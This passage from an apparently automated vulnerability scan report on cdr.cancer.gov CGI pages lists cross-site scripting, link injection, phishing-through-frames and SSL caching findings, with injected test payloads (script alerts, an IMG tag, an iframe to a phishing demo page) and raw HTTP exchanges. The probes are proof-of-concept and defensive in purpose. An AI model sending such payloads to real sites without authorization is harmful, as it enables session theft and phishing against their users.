| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DISSearch.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:07 GMT
Connection: close
Content-Length: 13087

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Drug Information Summary Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448199 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DISSearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/DISSearch.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/DISSearch.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:42:48 GMT
Connection: close
Content-Length: 13087

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Drug Information Summary Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/DocumentsModified.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448096 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DocumentsModified.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1025)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/DocumentsModified.py? Session=None'/><script>alert(1025)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:00:42 GMT
Connection: close
Content-Length: 3981

...
Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Documents Modified Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1025) </script>'>
<TABLE>
<TR>
<TD><B>Document Type: </B></TD>
<TD><SELECT NAME='doctype'>
<OPTION SELECTED value='0'>All Types</OPTION>
<OPTION value='17'>Citation</OPTION>
<OPTION value='39'>ClinicalTrialSearchString</OPTION>
<OPTION value='5'>Country</OPTION>

...
...
Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Documents Modified Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
```

```
        <INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1025) </script>'>
        <TABLE>
        <TR>
        <TD><B>Document Type: </B></TD>
        <TD><SELECT NAME='doctype'>
        <OPTION SELECTED value='0'>All Types</OPTION>
        <OPTION value='17'>Citation</OPTION>
        <OPTION value='39'>ClinicalTrialSearchString</OPTION>
        <OPTION value='5'>Country</OPTION>

        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448183 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DocumentsModified.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1022.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/DocumentsModified.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1022.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:00:39 GMT
Connection: close
Content-Length: 3978

...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Documents Modified Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1022.html"> '>
<TABLE>
<TR>
<TD><B>Document Type: </B></TD>
<TD><SELECT NAME='doctype'>
<OPTION SELECTED value='0'>All Types</OPTION>
<OPTION value='17'>Citation</OPTION>
<OPTION value='39'>ClinicalTrialSearchString</OPTION>
<OPTION value='5'>Country</OPTION>
<OPTION v
...
...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Documents Modified Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1022.html"> '>
<TABLE>
<TR>
```

```
        <TD><B>Document Type: </B></TD>
        <TD><SELECT NAME='doctype'>
        <OPTION SELECTED value='0'>All Types</OPTION>
        <OPTION value='17'>Citation</OPTION>
        <OPTION value='39'>ClinicalTrialSearchString</OPTION>
        <OPTION value='5'>Country</OPTION>
        <OPTION v
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448257 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DocumentsModified.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D1021+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/DocumentsModified.py? Session=None%27%22%3E%3Ciframe+id%3D1021+src%3Dhttp%3A%2F%2
Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:00:39 GMT
Connection: close
Content-Length: 4012


...
UE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Documents Modified Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1021 src= http://demo.testfire.net/p
hishing.html > >'>
<TABLE>
<TR>
<TD><B>Document Type: </B></TD>
<TD><SELECT NAME='doctype'>
<OPTION SELECTED value='0'>All Types</OPTION>
<OPTION value='17'>Citation</OPTION>
<OPTION value='39'>ClinicalTrialSearchString</OPTION>
<OPTION value='5'>Country
...
...
UE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Documents Modified Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1021 src= http://demo.testfire.net/p
hishing.html > >'>
<TABLE>
<TR>
```

```
        <TD><B>Document Type: </B></TD>
        <TD><SELECT NAME='doctype'>
        <OPTION SELECTED value='0'>All Types</OPTION>
        <OPTION value='17'>Citation</OPTION>
        <OPTION value='39'>ClinicalTrialSearchString</OPTION>
        <OPTION value='5'>Country
        ...
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448073 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DocumentsModified.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/DocumentsModified.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/DocumentsModified.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:24 GMT
Connection: close
Content-Length: 3950

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Documents Modified Report</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;
...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448082 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DocumentsModified.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DocumentsModified.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:11 GMT
Connection: close
Content-Length: 3950

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Documents Modified Report</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/DrugReviewReport.py - 4 issue(s)

### Issue 1 of 4

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448163 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DrugReviewReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 17

**The following changes were applied to the original request:**

```
Injected 'guest/><script>alert(572)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/DrugReviewReport.py? Session=guest/><script>alert(572)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 03:50:19 GMT
Connection: close
Content-Length: 2688

...
ign="right">Start date:</th>
<td><input type='text' name='startDate' value='2014-07-15' size='12' /></td>
</tr><tr>
<th align="right">End date:</th>
<td><input type='text' name='endDate' value='2014-07-22' size='12' /></td>
</tr>
<input type="hidden" name=Session value=guest/><script> alert(572) </script> />
</table>
</form>
</body>
</html>

...
ign="right">Start date:</th>
<td><input type='text' name='startDate' value='2014-07-15' size='12' /></td>
</tr><tr>
<th align="right">End date:</th>
<td><input type='text' name='endDate' value='2014-07-22' size='12' /></td>
</tr>
<input type="hidden" name=Session value=guest/><script> alert(572) </script> />
</table>
</form>
</body>
</html>
```

## Issue 2 of 4

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448037 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DrugReviewReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'guest%27%22%3E%3Ciframe+id%3D568+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/DrugReviewReport.py? Session=guest%27%22%3E%3Ciframe+id%3D568+src%3Dhttp%3A%2F%2F
demo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 03:50:16 GMT
Connection: close
Content-Length: 2720


...
<th align="right">Start date:</th>
<td><input type='text' name='startDate' value='2014-07-15' size='12' /></td>
</tr><tr>
<th align="right">End date:</th>
<td><input type='text' name='endDate' value='2014-07-22' size='12' /></td>
</tr>
<input type="hidden" name=Session value=guest'"> <iframe id=568 src= http://demo.testfire.net/phis
hing.html > > />
</table>
</form>
</body>
</html>


...
<th align="right">Start date:</th>
<td><input type='text' name='startDate' value='2014-07-15' size='12' /></td>
</tr><tr>
<th align="right">End date:</th>
<td><input type='text' name='endDate' value='2014-07-22' size='12' /></td>
</tr>
<input type="hidden" name=Session value=guest'"> <iframe id=568 src= http://demo.testfire.net/phis
hing.html > > />
</table>
</form>
</body>
</html>
```

## Issue 3 of 4

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448106 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DrugReviewReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/DrugReviewReport.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/DrugReviewReport.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:07:29 GMT
Connection: close
Content-Length: 2659

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Administrative Subsystem</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 4 of 4

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448302 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DrugReviewReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DrugReviewReport.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:01 GMT
Connection: close
Content-Length: 2659

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Administrative Subsystem</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/ExternMapFailures.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448156 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ExternMapFailures.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1056)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/ExternMapFailures.py? Session=None'/><script>alert(1056)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:01:36 GMT
Connection: close
Content-Length: 3794

...
Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> External Map Failures Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(1056) </script>'>
<table border='0'>
<tr>
<td valign='center' align='right'>
<b>Select map usage(s): </b>
<br>(Use Ctrl key to select multiple usages)  
</td>
<td>
<select multiple='multiple' name='usage'>
<option value="CT.gov Agencie
...
...
Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> External Map Failures Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
```

```
        <input type='hidden' name='Session' value='None'/><script> alert(1056) </script>'>
        <table border='0'>
        <tr>
        <td valign='center' align='right'>
        <b>Select map usage(s): </b>
        <br>(Use Ctrl key to select multiple usages)  
        </td>
        <td>
        <select multiple='multiple' name='usage'>
        <option value="CT.gov Agencie
        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448058 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ExternMapFailures.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1053.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/ExternMapFailures.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1053.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:01:33 GMT
Connection: close
Content-Length: 3791

...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> External Map Failures Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1053.html"> '>
<table border='0'>
<tr>
<td valign='center' align='right'>
<b>Select map usage(s): </b>
<br>(Use Ctrl key to select multiple usages)  
</td>
<td>
<select multiple='multiple' name='usage'>
<option value="CT.gov Agencies">CT.gov
...
...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> External Map Failures Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1053.html"> '>
<table border='0'>
<tr>
```

```
        <td valign='center' align='right'>
        <b>Select map usage(s): </b>
        <br>(Use Ctrl key to select multiple usages)  
        </td>
        <td>
        <select multiple='multiple' name='usage'>
        <option value="CT.gov Agencies">CT.gov
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448201 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ExternMapFailures.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1052+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/ExternMapFailures.py? Session=None%27%22%3E%3Ciframe+id%3D1052+src%3Dhttp%3A%2F%2
Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:01:33 GMT
Connection: close
Content-Length: 3825


...
UE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> External Map Failures Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1052 src= http://demo.testfire.net/p
hishing.html > >'>
<table border='0'>
<tr>
<td valign='center' align='right'>
<b>Select map usage(s): </b>
<br>(Use Ctrl key to select multiple usages)  
</td>
<td>
<select multiple='multiple' name='usage'>
<option value="CT.
...
...
UE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> External Map Failures Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1052 src= http://demo.testfire.net/p
hishing.html > >'>
<table border='0'>
```

```
        <tr>
        <td valign='center' align='right'>
        <b>Select map usage(s): </b>
        <br>(Use Ctrl key to select multiple usages)  
        </td>
        <td>
        <select multiple='multiple' name='usage'>
        <option value="CT.
        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448069 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ExternMapFailures.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

